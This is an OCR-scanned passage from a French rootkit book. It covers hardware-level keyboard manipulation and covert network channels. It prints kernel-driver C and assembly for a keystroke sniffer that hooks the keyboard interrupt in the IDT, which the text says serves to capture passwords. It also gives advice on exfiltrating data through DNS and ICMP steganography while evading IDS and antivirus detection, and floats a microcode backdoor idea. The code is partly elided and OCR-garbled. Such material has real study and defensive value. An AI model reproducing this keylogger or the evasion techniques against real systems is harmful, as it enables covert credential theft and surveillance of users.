/ /WRITE_PORT_UCHAR( KEYB0ARD_P0RT_64, 0xFE ); 

SetLEDS( g_key_bits++ ); if (g_key_bits > 0x07) g_key_bits = 

0 ; 


} 
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Notez la definition du temporisateur et l’appel de procedure differe (DPC). Le 
temporisateur est initialise avec la valeur negative -10 ms. Elle signifie le 
declenchement du premier evenement de temporisation apres une periode de 10 ms 1 . 
Le nombre negatif sert a indiquer un temps relatif plutot qu’un temps absolu. 

La valeur importante a noter est l’intervalle de temporisation specifie dans KeSet- 
TimerEx. C’est l’intervalle entre les evenements DPC qui changeront l’etat des LED. 

NTSTATUS DriverEntry(IN PDRIVER_0B1ECT theDriverObject, IN 

PUNIC0DE_STRING 

theRegistryPath ) 

{ 


LARGE_INTEGER timeout; 

theDriverObject->Driverllnload = OnUnload; 

// Ces objets ne doivent pas etre pagines. 

gTimer = ExAllocatePool(NonPagedPool, sizeof (KTIMER)); 

gDPCP = ExAllocatePool(NonPagedPool, sizeof (KDPC) ) ; 

timeout. QuadPart = -10; 

KelnitializeTimer( gTimer ); 

KelnitializeDpc( gDPCP, timerDPC, NULL ); 

if (TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP)) 

{ 

DbgPrintf "Timer was already queued.."); 

} 

return STATUS_SUCCESS; 

} 

Nous avons etudie plusieurs techniques importantes, dont l’emploi de macros pour 
acceder au materiel, les questions de temporisation, la lecture et l’ecriture de 
commandes avec un controleur materiel et l’emploi d’un temporisateur DPC. Nous 
allons nous appuyer sur ces premieres connaissances pour aborder des manipulations 
plus avancees du clavier. 


1. Le plus petit intervalle de temps pouvant etre planifie est de 10 ms — la resolution du temporisateur ne lui 
permet pas de gerer une valeur inferieure. 
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Redemarrage force 

Un fait peu connu concemant le controleur de clavier est qu’il possede une ligne 
directe vers le processeur, et qui plus est directement reliee a sa broche reset. C’est 
une fonctionnalite puissante puisqu’elle permet de redemarrer la machine, 
immediatement, sans detour. II n’y a pas de sequence preliminaire de fermeture, 
aucune possibilite de recuperation. 

Cette fonction est heritee de l’epoque ou les ordinateurs possedaient un vrai bouton de 
reinitialisation. L’emploi de ce bouton etait gere par le controleur de clavier. 

Pour en constater l’effet, retirez les marques de commentaires de la ligne d’ instruction 
envoyant 1’ octet OxFE au port 0x64. Elle provoquera un redemarrage. 

Cet exemple est superflu car nous sommes deja au niveau du noyau et pouvons emettre 
directement une commande de reinitialisation au processeur ou une directive halt (ou 
tout ce que nous voulons). L’exercice permet toutefois d’illustrer les bizarreries qu’il 
est possible d’effectuer au niveau materiel. 

Intercepteur de frappe 

Pour effectuer quelque chose de reellement utile, nous devons commencer a sniffer la 
frappe. Tous les claviers ne sont pas crees egaux. Aussi, ce code peut ne pas 
fonctionner sur tous les systemes. De plus, si vous utilisez VMWare ou VirtualPC pour 
tester vos rootkits, le materiel est entierement virtuel et peut produire des resultats 
autres que ceux attendus. 

La premiere tache a realiser est de determiner 1’ interruption qui est declenchee lors de 
la pression d’une touche du clavier. Sur ma machine Windows 2000, l’interruption est 
0x31. C’est toutefois different sur chaque machine. La fag on la plus sure de detecter la 
votre est d’ identifier celle qui est liee a la ligne de requete d’ interruption IRQ 1 dans le 
controleur PIC (Programmable Interrupt Controller ). L’lRQ 1 est celle qui gere le 
clavier. Une fag on de le faire est d’analyser l’image de la DLL Hal. dll dans le noyau 1 . 

Les interruptions doivent etre traitees sans delai. La methode "correcte" pour le faire 
est de planifier un appel de procedure differe pour gerer les donnees regues. Le 
gestionnaire d’ interruption lui-meme devrait seulement planifier le DPC et 


1. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal.: eEye Digital 
Security, 2005), disponible sur : www.eeye.com/~data/publish/whitepapers/research/ 

OT20050205.FILE.pdf. 
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travailler avec le peripherique qui a ernis 1’ interruption. Le traitement subsequent 
devrait etre gere dans le DPC. Dans notre exemple, nous n’utilisons pas de DPC, nous 
ne faisons qu’enregistrer la touche frappee. 

Rootkit.com 

Le code de I'exemple basic_keysniff peut etre telecharge a I'adresse 

www.rootkit.com/vault/hoglund/basic keysniff.zip . 


Les definitions de macros au sommet du fichier ressemblent a ce que nous avons deja 
vu. Nous combinons un hook d’ interruption avec du code a lire et a ecrire sur le 
controleur de clavier : 

#define MAKELONG(a, b) ((unsigned long) 

(((unsigned short) (a)) | ((unsigned long) 

((unsigned short) (b))) « 16)) 


//#def ine NT_INT_KEYBD 0xB3 

#def ine NT_INT_KEYBD 0x31 

// Commandes 

#def ine READ_CONTROLLER 0x20 

#def ine WRITE_C0NTR0LLER 0x60 

// Octets de commandes 

#def ine SET_LEDS 0xED 

#def ine KEY RESET 0xFF 


// Reponses du clavier 

#define KEY_ACK 0xFA // Accuse de reception 
#define KEY_AGAIN 0xFE // Nouvel envoi 

// Ports du controleur 8042 

//La lecture sur le port 60 est appelee STATUS_BYTE. 

// L'ecriture sur le port 60 est appelee C0MMAND_BYTE . 

// La lecture et l'ecriture sur le port 64 sont appelees DATA_BYTE. PUCHAR 
K E YBOARD_PORT_60 = (PUCHAR) 0x60 ; 

PUCHAR KEYB0ARD_P0RT_64 = (PUCHAR)0x64 ; 

// Bits de registre d'etat 
#def ine IBUFFER_FULL 0x02 
#def ine OBUFFER_FULL 0x01 

// Flags pour les LED du clavier 
#def ine SCR0LL_L0CK_BIT (0x01 « 0) 

#def ine NUMLOCK_BIT (0x01 « 1) 

#def ine CAPS_LOCK_BIT (0x01 « 2) 
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1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 

// Structures de l'IDT 

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 

#pragma pack(l ) 

II Entree dans l'IDT, parfois appelee II une porte 
d ' interruption (interrupt gate), typedef struct { 
unsigned short LowOffset; 
unsigned short selector; 
unsigned char unused_lo; 

unsigned char segment_type:4; // 0x0E est une porte d ' interruption, 
unsigned char system_segment_flag: 1 ; 

unsigned char DPL:2; // Niveau de privileges du descripteur 

unsigned char P : 1 ; /* present */ 

unsigned short HiOffset; 

} IDTENTRY; 

/* sidt retourne idt dans ce format */ typedef struct { 
unsigned short IDTLimit; 
unsigned short LowIDTbase; 
unsigned short HilDTbase; 

} IDTINFO; 

#pragma pack() 

unsigned long old_ISR_pointer; // Pour sauvegarder l'ancien pointeur 

unsigned char keystroke_buffer[1024] ; // Pour recuperer 1 Ko de frappe, int 
kb_array_ptr=0; 

Les routines suivantes ont deja ete decrites. Aussi, le code redondant a ete supprime 
du listing ci-apres : 

ULONG WaitForKeyboard( ) 

{ 

} 

// Appeler WaitForKeyboard avant d'appeler cette function 
void DrainOutputBufferQ 
{ 

} 

// Ecrit un octet sur le port 0x60 

ULONG SendKeyboardCommand( IN UCFIAR theCommand ) 

{ 


} 
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La routine de dechargement supprime non seulement le hook d’ interruption, mais 
affiche aussi le contenu du tampon de capture du clavier. A l’interieur de la routine, 

l’appel de DbgPrint est sur, il ne provoquera pas de plantage ou d’ instabilite : 

VOID OnUnload( IN PDRIVER_OBIECT DriverObject ) 

{ 


IDTINF0 idt_info; // Cette structure est obtenue // en 
appelant STORE IDT (sidt), 
IDTENTRY* idt_entries; // et ce pointeur est obtenu 

// de idt_info. 


char _t[255]; 


// Charge idt_info asm sidt idt_info 

idt_entries = (IDTENTRY*) MAKE LONG ( idt_info . LowIDTbase, 
idt_inf o . HilDTbase) ; 

DbgPrint ("R00TKIT: OnUnload called\n"); 

DbgPrint("UnHooking Interrupt. . . "); 

// Restaure le gestionnaire d ' interruption original 
_asm cli 

idt_entries[NT_INT_KEYBD] . LowOffset = 

(unsigned short) old_ISR_pointer; idt_entries[NT_INT_KEYBD] .HiOffset = 
(unsigned short) ( (unsigned long) old_ISR_pointer » 16); 

_asm sti 

DbgPrint ( "UnHooking Interrupt complete.' 1 ); 

DbgPrint("Keystroke Buffer is: "); 
while (kb_array_pt r--) 

{ 

DbgPrint ("%02X ", keystroke_buffer[kb_array_ptr] ); 

} 


Notre routine de hook recupere la frappe du tampon de clavier et l’enregistre dans un 
tampon global. Dans certains cas, la frappe doit etre replacee dans le tampon, mais le 
code pour realiser cela est mis en commentaire dans l’exemple. Certains systemes ne 
requierent pas cela. Experimentez pour determiner le comportement de votre systeme 1 . 
// L'emploi de stdcall signifie que cette fonction retablit la pile // 
avant de revenir (le contraire de cdecl). 
void _ stdcall print_keystroke() 

{ 


1 . Un membre contributeur sur rootkit.com, Dsei, a indique ceci : "Les donnees ne sont pas retirees du port 
0x60 avant que vous n’ayez lu les bits d’etat sur le port 0x64." 11a ajoute : "Tenter de replacer le scan- 
code dans le tampon semble provoquer un plantage brutal de la machine lorsque vous utilisez une souris 
PS/2." Dsei, "Re: A question about the port read", www.rootkit.com . 
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UCHAR c; 

//DbgPnintf "stroke" ) ; 

II Recupere le scancode C = 
READ_PORT_UCHAR(KEYBOARD_PORT_60); 
//DbgPrint( "got scancode %02X" J c); 

if (kb_array_ptr<1024){ 
keystroke_buffer[kb_array_ptr++]=c; 
} 


// Replace le scancode (fonctionne sur PS/2) 
//WRITE_PORT_UCHAR(KEYB0ARD_P0RT_64, 0xD2); // Commande pour 

// l'echo du scancode. 


//WaitForKeyboard( ) ; 

//WRITE_PORT_UCHAR(KEYBOARD_PORT_60, C); // Ecrit le scancode 

// pour l'echo. 

} 

Le hook d’ interruption est ecrit en langage assembleur. II garantit 1’ absence de 
corruption d’un registre important et permet d’appeler la routine de hook : 


// Les fonctions NAKED n'ont pas de code de prologue/epilogue, 

// elles s ' apparentent fonctionnellement a la cible d'une instruction GOTO. 
_ declspec(naked) my_interrupt_hook() 


asm 


pushad // Sauvegarde 
pushfd // Sauvegarde 
call print_keystroke 
popfd popad 
jmp old_ISR_pointer 

} 


tous les registres generaux, 
le registre de flags. 

// Appelle la function. 

// Restaure les flags. 

// Restaure les registres generaux. 

// Se debranche vers l'ISR originate. 


La routine DriverEntry place simplement le hook d’interruption : 


NTSTATUS DriverEntry( IN PDRIVER_0B1ECT theDriverObject , 

IN PUNIC0DE_STRING theRegistryPath 


) 


IDTINF0 idt_info; // Cette structure est obtenue // en 
appelant STORE IDT (sidt), IDTENTRY* idt_entries; // et 
ce pointeur est obtenu 

// de idt_info. 

IDTENTRY* i; unsigned long addr; 
unsigned long count; 
char _t[255]; 


theDriverObject->DriverUnload = OnUnload; 
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II Charge idt_info asm sidt idt_info 

idt_entrd.es = (IDTENTRY*) MAKELONG( idt_info. LowIDTbase, idt_info . HilDTbase) ; 

for(count=0; count < MAX_IDT_ENTRIES; count++) 

{ 

i = &idt_entries[count]; 

addr = MAKELONG(i->LowOff set , i->HiOffset); 

_snprintf (_t , 253, "Interrupt %d: ISR 0x%08X", 
count, addr); 

DbgPrint(_t); 

} 

DbgPrint ( "Hooking Interrupt ; 

// Hook d'une interruption 

// Exercice : choisissez votre propre interruption old_ISR_pointer = 

MAKE LONG ( idt_entries [NT_INT_KEYBD] . LowOff set, 
idt_entries [NT_INT_KEYBD] . HiOf f set ) ; 

// Debug - utilisez ce code si vous voulez obtenir // des 
informations supplementaires sur ce qui se passe. 

#if 1 

_snprintf (_t , 253, "old address for ISR is 0x%08x", 
old_ISR_pointer ) ; 

DbgPrint (_t); 

_snprintf (_t, 253, "address of my function is 0x%08x", my_interrupt_hook); 
DbgPrint (_t); 

#endif 

// Souvenez-vous, nous desactivons les interruptions // pendant que 
nous patchons la table. 

_ asm cli 

idt_entries[NT_INT_KEYBD] . LowOff set = 

(unsigned short)my_interrupt_hook; idt_entries[NT_INT_KEYBD] .HiOffset = 
(unsigned short) ( (unsigned long)my_interrupt_hook » 16); 

_ asm sti 

// Debug - utilisez ce code si vous souhaitez controler 

// ce qui est place maintenant dans le vecteur d ' interruption. 

#if 1 

i = &idt_entries [NT_INT_KEYBD] ; 

addr = MAKELONG(i->LowOffset, i->HiOffset); 

_snprintf (_t , 253, "Interrupt ISR 0x%08X", addr); 

DbgPrint(_t); 

#endif 

DbgPrint("Hooking Interrupt complete"); return STATUS_SUCCESS; 
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II s’agissait d’un rootkit plus utile, capable de sniffer les touches du clavier. C’est un 
point de depart car l’interception de la frappe est une fonctionnalite fondamentale d’un 
rootkit. Un sniffeur de clavier peut servir a capturer des mots de passe et les 
communications. 

Pour clore ce chapitre, nous aborderons le concept avance de modification de 
microcode. 

Mise a jour d'un microcode 

Les processeurs modemes d’Intel et d’AMD 1 incluent une fonctionnalite appelee mise 
a jour de microcode. Elle permet a un code special d’ etre charge dans le processeur et 
de modifier la fag on dont il fonctionne. C’est-a-dire que le processeur peut etre 
modifie en interne. Le fonctionnement reel en interne reste toutefois un mystere. Lors 
de la redaction de ce livre, la documentation accessible au public etait rare. 

La mise a jour de microcode a ete prevue non pas pour des activites de hacking mais 
plutot pour permettre au processeur d’appliquer des corrections de bugs. En cas de 
dysfonctionnement, une mise a jour peut ainsi etre introduite. Ceci evite de devoir 
recuperer les ordinateurs, une procedure couteuse. II est possible d’ajouter ou de 
modifier des codes d’ operation dans le microcode, ce qui peut influer sur la fag on dont 
sont executees les instructions existantes ou desactiver certaines fonctionnalites. 

Theoriquement, si un hacker pouvait modifier le microcode dans le processeur, il 
pourrait ajouter des instructions pemicieuses. Le plus gros probleme semble toutefois 
etre de comprendre le mecanisme de mise a jour lui-meme. S’il est maitrise, il devient 
possible de creer des opcodes supplementaires introduisant une porte derobee. Un 
exemple evident serait une instruction permettant de contoumer la restriction entre les 
anneaux 0 et 3. Une instruction goringzero, par exemple, pourrait placer le processeur 
dans le mode superviseur sans controle de securite. 

La mise a jour de microcode est stockee en tant que bloc de donnees devant etre 
charge dans le processeur a chaque demarrage. La mise a jour a lieu dans certains 
registres de controle speciaux. Generalement, le bloc de mise a jour est memorise dans 
la puce flash du BIOS systeme et est applique au BIOS lors du demarrage. 


1 . AMD, brevet americain No. 6438664. 
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S’il etait utilise par un hacker, il pourrait etre altere dans le BIOS ou applique a la 
volee. Aucun redemarrage n’est necessaire, le nouveau microcode est utilise 
immediatement. 

Les processeurs Intel protegent leurs blocs de mise a jour au moyen d’un chiffrement 
puissant. Pour pouvoir modifier "correctement" le bloc, le chiffrement devrait d’abord 
etre force. Sur ce point, il est plus facile de travailler avec les puces AMD car elles 
n’emploient pas de chiffrement. Sous Linux, il existe un driver de mise a jour qui peut 
charger un nouveau microcode dans le processeur AMD ou Intel. Pour le trouver, 
faites une recherche sur Internet avec le critere "AMD K8 microcode update driver" ou 
"LA32 microcode driver". 

Bien qu’un grand nombre de personnes tentent de manipuler les mises a jour de 
microcode par retro-ingenierie, il faut savoir que la modification d’un bloc de mise a 
jour de microcode peut theoriquement endommager le processeur 1 2 . 

Conclusion 

Ce chapitre n’a traite que partiellement le theme de la manipulation materielle pour en 
introduire le concept. Nous esperons qu’il vous aura toutefois inspire pour faire vos 
propres recherches. 

Nous avons etudie les instructions de base requises pour lire et ecrire sur un port 
materiel, ainsi que certains pieges a eviter, et avons presente un exemple de rootkit 
permettant d’intercepter la frappe au clavier. Il existe des documentations techniques 
qui decrivent les bus en profondeur, et vous devriez vous en procurer un si vous 
souhaitez explorer le systeme 1 2 . Nous avons aussi evoque les manipulations possibles 
au moyen de modifications du BIOS et des mises a jour de microcode. Soulignons 
encore une fois au passage qu’il est possible pour un rootkit d’echapper a la plupart des 
technologies de detection en s’attaquant aux niveaux les plus bas d’un systeme. 


1. Si le processeur inclut des portes de type FPGA pouvant etre reconfigurees, une alteration de la configuration 
physique de ces portes pourrait endommager irremediablement le processeur. 

2. Consultez, par exemple, les livres de la collection "PC System Architecture Series", de Don Anderson et de 
Tom Shanley (parmi d’autres), publies chez Addison-Wesley. 
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Nous sommes ce que nous pretendons etre, aussi devons-nous faire attention a 
ce que nous pretendons etre. 

- Mother Night, de Kurt Vonnegut, Jr 


Un canal secret est un chemin de communication cache. Ce terme est issu de la 
conception des systemes informatiques hautement securises et cloisonnes que Ton 
trouve dans les installations militaires gerant des informations classees secretes. 

Ces systemes sont censes empecher les processus de communiquer entre eux, ce qui 
est tres difficile a realiser. N’importe quel signal, meme tres faible, peut devenir un 
canal de communication entre deux parties des lors qu’elles peuvent avoir un effet 
dessus. 

Un canal secret ne doit pas necessairement etre sophistique ou se conformer a des 
standards academiques de furtivite. II doit simplement etre imprevisible de fagon a 
passer inaper^u. Pour un rootkit, un tel canal est typiquement un chemin de 
communication qui passe au travers d’un pare -feu sans etre detecte par des analyseurs 
de reseau, des systemes IDS et d’autres mecanismes de securite. II doit etre 
suffisamment robuste pour pouvoir supporter 1’ exfiltration de donnees depuis 
l’ordinateur ainsi que des messages de controle. Un attaquant a besoin de cela pour 
communiquer avec un rootkit, derober des donnees et ne pas etre decouvert. 
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II faut concevoir expressement un canal secret car il ne saurait consister en une 
conception logicielle ou un protocole connu. II est generalement congu sous la forme 
d’une extension a un protocole existant ou a un processus de communication logiciel 
cree pour transporter des donnees cachees. 

Nombre de canaux secrets se fondent sur une technique de dissimulation de donnees 
appelee steganographie qui consiste a cacher un message dans un autre document a 
caractere anodin, autrement dit au vu et au su de tous. Le cinema et la presse, 
notamment, ont rendu cette methode populaire en faisant etat de la dissimulation de 
messages dans des photographies numeriques. 

Ce chapitre commence par expliquer les concepts de controle a distance et d’exhl- 
tration de donnees. II aborde ensuite la dissimulation dans des protocoles TCP/IP et le 
support de cette dissimulation au niveau du noyau, puis la manipulation de donnees de 
reseau brutes. Nous presentons egalement les mecanismes NDIS et TDI qui peuvent 
etre employes pour echanger via le reseau des donnees avec un driver du noyau 
Windows. Fort de ces connaissances, vous devriez pouvoir creer un root- kit capable 
de transferer des donnees sur un reseau sans etre detecte. 

Controle a distance et exfiltration de donnees 

Comme vous le savez, un rootkit est installe pour obtenir un acces distant a un 
ordinateur. L’objectif est double : contra ler le fonctionnement de l’ordinateur sur le 
plan logiciel et copier des donnees du systeme. Des exemples incluent l’arret de 
P ordinateur, P activation ou la desactivation des fonctionnalites et la manipulation du 
noyau. L’acte de derober des donnees est typiquement qualifie d' exfiltration et peut se 
dissimuler sous diverses formes obscures, telles que la transmission de donnees au 
moyen d’ emissions electromagnetiques, l’ajout d’ informations supplementaires dans 
les protocoles reseau ou P exploitation des intervalles de transmission. 

Lorsqu’un acces a distance est requis, le rootkit doit pouvoir communiquer via un 
reseau. Dans le cas d’un reseau TCP/IP, cette communication pourrait passer par une 
connexion TCP. Une fois la connexion etablie, des commandes pourraient etre emises 
et des donnees, exfiltrees. 

Dans le milieu des hackers, une solution generique classique pour exfiltrer des donnees 
est le shell distant, lequel est simplement une session TCP connectee a 
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l’interpreteur de commandes natif du systeme d’ exploitation cible. Sur une machine 
Windows, il s’agirait de Cmd.exe et sur Unix, de/bin/sh ou /bin/bash. 

L’interpreteur de commandes est lui-meme un programme. Etant donne qu’il est 
preexistant a l’arrivee du hacker sur le systeme, il suffit au code d’attaque de connecter 
l’interpreteur a un port reseau. En d’autres termes, le hacker ne fait qu’emprunter 
l’interpreteur pour son offensive. 

Une majorite de hackers sont juste paresseux et evitent lorsqu’ils le peuvent d’ avoir a 
ecrire leurs propres shells. Mais il en existe aussi d’autres qui ont developpe des outils 
de controle a distance complexes. Back Orifice 2000 1 est un exemple de programme de 
controle distant sophistique qui inclut, entre autres, des fonctions d’acces aux fichiers, 
de capture d’ ecran et meme de surveillance audio. 

Ces programmes elabores qui implementent des portes derobees presentent quelques 
inconvenients. D’ abord, ils sont surdimensionnes par rapport a la plupart des besoins. 
Ensuite, n’importe quel scanner de virus peut les detecter. Et, peut-etre le plus genant, 
ils ont ete ecrits par des personnes que vous ne connaissez pas. 

Quiconque s’ engage dans une activite aussi sensible que la penetration a distance 
devrait se soucier avant tout du risque d’exposition. Deux principes essentiels 
permettent d’eliminer ce risque : 

m Traces minimales. Les outils utilises pour l’infdtration a distance devraient affecter 
le moins possible le systeme cible afin de limiter les chances de detection (une 
bonne raison de concevoir un rootkit qui n’utilise jamais le systeme de fichiers). 
De plus, un code qui compte un mi nimum de lignes est moins complexe et est done 
moins susceptible d’echouer. 

H Structure et methodes uniques. Ces outils devraient posseder une structure unique 
et implementer des methodes uniques. Les solutions de detection de virus 
recherchent toujours ce qui est connu. Lorsqu’elles sont developpees, les virus 
connus sont analyses pour obtenir des sequences generales reconnaissables, et ces 
sequences sont ensuite appliquees pour 1’ identification de nouveaux virus. Si vous 
telechargez un rootkit sur www.rootkit.com , par exemple, votre scanner de virus 
isolera probablement le fichier. Lorsqu’un rootkit ne contient aucune sequence 
semblable a celles des infections connues, il echappe a la detection. 


1. "Back Orifice" est un jeu de mots sur BackOffice, qui est un produit de Microsoft. 
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Dissimulation dans des protocoles TCP/IP 

Les activites d’un rootkit devraient etre indetectables. Une communication passant par 
un socket TCP peut facilement etre detectee, a la fois sur le reseau et dans le noyau. 
L’ouverture d’un socket TCP est loin d’etre discrete puisqu’elle entraine la creation 
d’un paquet SYN, suivie du fameux processus de negociation en trois temps ( three- 
way handshake) 1 2 . N’importe quel analyseur de reseau signalera cet evenement. Les 
systemes de detection d’ intrusion consigneront aussi presque toujours 1’ evenement, et 
nombreux sont ceux qui genereront une alarme. Enfin, les ports TCP permettent 
generalement de remonter jusqu’ au processus logiciel qui les a ouverts, ce qui n’est 
pas bon pour un rootkit. Des mesures plus subtiles doivent etre employees. 

Dans un environnement bruyant tel qu’un reseau, les systemes de detection d’intrusion 
recherchent les activites qui sont inhabituelles ou differentes. Une approche efficace 
pour concevoir un canal secret est d’utiliser un protocole constamment actif sur le 
reseau, tel que DNS (Domain Name Sendee). Un rootkit modifiera le protocole en 
inserant des donnees additionnelles dans ses paquets, le but etant de faire en sorte que 
ces paquets ressemblent a du trafic legitime pour qu’ on ne les repere pas. 

La regie est simple : se cacher dans du trafic deja present. 

Pour eviter au depart d’entrer dans les details du protocole, commencez simplement 
par utiliser le port source et de destination d’un protocole courant. Pour DNS, il s’agit 
du port 53 (UDP ou TCP). Dans de nombreuses installations, DNS est meme autorise a 
traverser le pare-feu. Pour le protocole HTTP, il s’agit du port TCP 80, ou 443 pour 
HTTP securise, e’est-a-dire chiffre. Si vous choisissez ce dernier et chiffrez tout, vous 
aurez 1’ assurance que personne ne pourra savoir ce que contiennent vos paquets. Il 
existe neanmoins des techniques permettant de dechiffrer des sessions SSL 1 2 et que 
des equipements IDS peuvent utiliser, bien que ce soit rarement le cas. 

Dissimuler des donnees au vu et au su de tous est plus complique qu’il n’y parait. Les 
sections suivantes abordent les nombreux defis qu’il faut relever et propose quelques 
suggestions creatives pour la conception de canaux secrets. 


1. Le protocole TCP implique Tutilisation de trois paquets pour etablir une connexion, d'ou le terme 
negociation en trois temps, et est decrit dans de nombreux documents accessibles au public. 


2. Ettercap ( http ://ettercap . sourcefor ge . net) est un outil coniju a cet effet. 
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Ne pas provoquer de pics de trafic 

Cacher des donnees dans un protocole connu n’est qu’une premiere etape dans 
l’etablissement de communications secretes. II faut aussi veiller a se fondre dans le 
volume de trafic existant. Un canal secret ne doit pas generer de trafic excessif et doit 
rester dans la moyenne pour ne pas attirer 1’ attention. 

Si votre rootkit produit d’ importantes barres vertes dans le diagramme d’un outil 
comme MRTG (Multi Router Traffic Grapher)', il ne manquera certainement pas 
d’etre remarque. Si le reseau est calme et qu’une pointe de trafic survient 
soudainement a 3 heures du matin, a son arrivee au travail l’administrateur pensera 
d’emblee qu’il s’agissait d’une activite illicite comme le transfert d’une version ISO de 
Quake III via un partage de fichiers. S’il mene son enquete, la pointe de trafic le 
conduira tout droit a la machine qui a ete infectee, ce qu’il vaut mieux eviter. 

Ne pas envoyer de donnees en clair 

Le fait d’utiliser un protocole connu et de ne pas generer de pics de trafic ne vous 
dispense pas pour autant de devoir dissimuler vos donnees de sorte qu’elles n’aient pas 
fair hostiles. Comme evoque, vous devriez les cacher dans d’autres donnees a 
caractere anodin. Si vous placez un fichier de mots de passe non chiffre dans la charge 
utile d’un paquet, par exemple, quelqu’un risque de le remarquer. Si un administrateur 
examine le paquet, il saura tout de suite que quelque chose ne va pas. De plus, certains 
systemes IDS recherchent systematiquement dans tous les paquets des chaines 
suspectes telles que etc/passwd. La charge utile devrait done au minimum etre 
masquee. Mais le mieux est de la chiffrer 1 2 ou de la "steganographier". 

Steganographie 

La steganographie n’est en rienune technique sophistiquee. Elle consiste simplement a 
dissimuler un petit message dans un message plus grand de maniere qu’il ne puisse pas 
etre facilement detecte et n’implique pas necessairement un chiffrement de ces 
donnees. 

Reussir a dissimuler des donnees par ce moyen vous demande de limiter la bande 
passante utilisee pour votre communication, laquelle sera ainsi beaucoup plus sure. 


1. Disponible gratuitement sur www.mrtg.org , 

2. Parfois, l’emploi d’une methode de chiffrement peut au contraire accroitre le caractere douteux des donnees. 
Si le protocole contient typiquement du texte lisible et que vous transmettiez par son intermediate des octets 
chiffres illisibles, les paquets ne passeront certainement pas inaperjus. 
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Pour reprendre l’exemple de DNS, la charge utile des paquets DNS comprendrait de 
veritables requetes DNS pour des sites Web legitimes et, dissimulees entre ses lignes, 
des commandes a distance et des donnees exfiltrees. Le probleme de cette approche est 
qu’elle ne permet pas de transferer beaucoup de donnees a la fois. Le transfert d’une 
base de donnees ou d’un fichier volumineux prendrait done du temps, jusqu’a 
plusieurs semaines ou mois selon la conception du canal. 

Tirer parti de I'interva lie de temps entre les paquets 

Un aspect souvent neglige lors de la conception de canaux de communication secrets 
est le temps. Plutot qu’inserer des donnees dans les paquets d’une communication 
existante, un rootkit pourrait les transmettre dans l’intervalle entre les paquets. II 
mesurerait le moment auquel chaque paquet arrive sur le reseau et utiliserait cette 
information pour extraire les donnees dont il a besoin. Un tel canal permet une 
dissimulation beaucoup plus efficace. A P instar de nombreuses autres conceptions, la 
bande passante de la connexion serait egalement limit ee, n’autorisant la transmission 
que de commandes et de messages courts. 

Dissimuler des donnees sous des requetes DNS 

Une demarche courante consiste a implementer un canal secret sous des paquets DNS, 
ce qui presente certains avantages de taille. D’abord, DNS peut utiliser des paquets 
UDP, lesquels n’incluent pas la surcharge de service liee a la negociation en trois 
temps de TCP. Ensuite, les paquets UDP peuvent etre falsifies. De plus, DNS est 
generalement autorise a traverser les pare-feu. Et, enfin, le trafic DNS etant constant 
sur un reseau, il est typiquement ignore. Ces deux demiers avantages sont les plus 
importants. 

La steganographie appliquee a une charge utile ASCII 

Il existe des moyens de dissimulation plus subtils que simplement placer une charge 
utile chiffree a la fin d’un paquet DNS. Un fin observateur trouverait cela tres douteux. 
Souvenez-vous, quand vous etiez enfant, de ce jeu qui consistait a superposer une carte 
perforee a un texte ecrit pour reveler seulement certaines lettres, faisant apparaitre un 
autre message. C’est la le principe de base de la steganographie. 

Pour un exemple de steganographie appliquee a des donnees ASCII, considerons un 
scenario basique avec un canal secret DNS. Supposons que nous devions envoyer un 
message de 10 octets (par exemple une commande ou un mot de passe intercepte). 
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Nous pourrions creer une requete DNS pour chaque caractere du message. Chaque 
requete concemerait un site Web dont le nom commencerait par une des lettres du 
message a transmettre. Un tel message est qualifie d ’acrostiche (voir Figure 9.1). 


En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
sales.google.com 

En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
estate . google . com 

En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
cars.google.com 

En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
railway .google. co 

En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
electric. google. c 

En-tete 

TCP/IP 

En-tete 

DNS 

Requete pour : 
turnkey .google. co 


Figure 9.1 

Une serie de requites DNS utilisees pour coder un acrostiche. La premiere lettre des noms 
DNS sert a reconstituer le message secret. 


Cet exemple fonctionne mais il est quelque peu simpliste. Dans la realite, il faudrait 
d’ abord chiffrer le message puis recourir a la steganographie pour offrir deux niveaux 
de protection de sorte que, meme si le message venait a etre decode, il serait encore 
chiffre. 

Notre exemple de conception necessite une base de donnees de noms DNS, chacun 
correspondant a un octet ASCII different 1 . Il pourrait etre ameliore en utilisant des 
noms DNS qui represented chacun plus d’un caractere chiffre afm que chaque requete 
DNS puisse transporter plusieurs caracteres du message. 


1 . La base de noms de sites Web pourrait etre creee a la volee en interceptant les autres requetes DNS 
legitimes sur le reseau. 



262 Rootkits 


Infiltrations du noyau Windows 


La steganographie est un domaine tres vaste, et un traitement detaille depasse le cadre 
de ce livre. Vous pouvez partir de l’exemple presente pour approfondir vous- meme le 
sujet. Vous trouverez toutes sortes de ressources sur Internet, comme des programmes 
et des codes source permettant de cacher des donnees dans des images, des fichiers 
.wav et meme des fichiers MP3 '. 

Utiliser d'autres protocoles TCP/IP 

Les hackers emploient differents types de paquets comme canaux secrets, comme 
ceux du protocole ICMP. Pour s’amuser, quelqu’un a meme cree un canal secret 
ICMP pour transmettre de Part ASCII (une forme d’art qui utilise des caracteres 
affichables) 1 2 . Loki est un exemple d’outil connu qui utilise ICMP pour transferer des 
donnees 1 2 3 . II a donne lieu a de nombreuses variantes. Des techniques de rootkit en 
mode noyau permettant d’exfiltrer via des reponses ICMP la frappe capturee ont 
egalement ete developpees 4 . 

De nombreuses recherches accessibles au public ont ete conduites sur l’utilisation des 
protocoles TCP/EP comme canaux secrets 5 . Cette section a couvert plusieurs des 
approches disponibles. 

Outre les methodes decrites, des champs de donnees optionnels ou non utilises en 
temps normal peuvent aussi servir de canaux secrets. Des exemples sont le champ 
d’ identification de Pen-tete IP ainsi que le numero de sequence initial et le numero de 
sequence d’ acquittement des paquets TCP. 

Dissimulation au niveau du noyau via TDI 

II etait inevitable que cette discussion sur TCP/EP nous conduise a examiner un peu de 
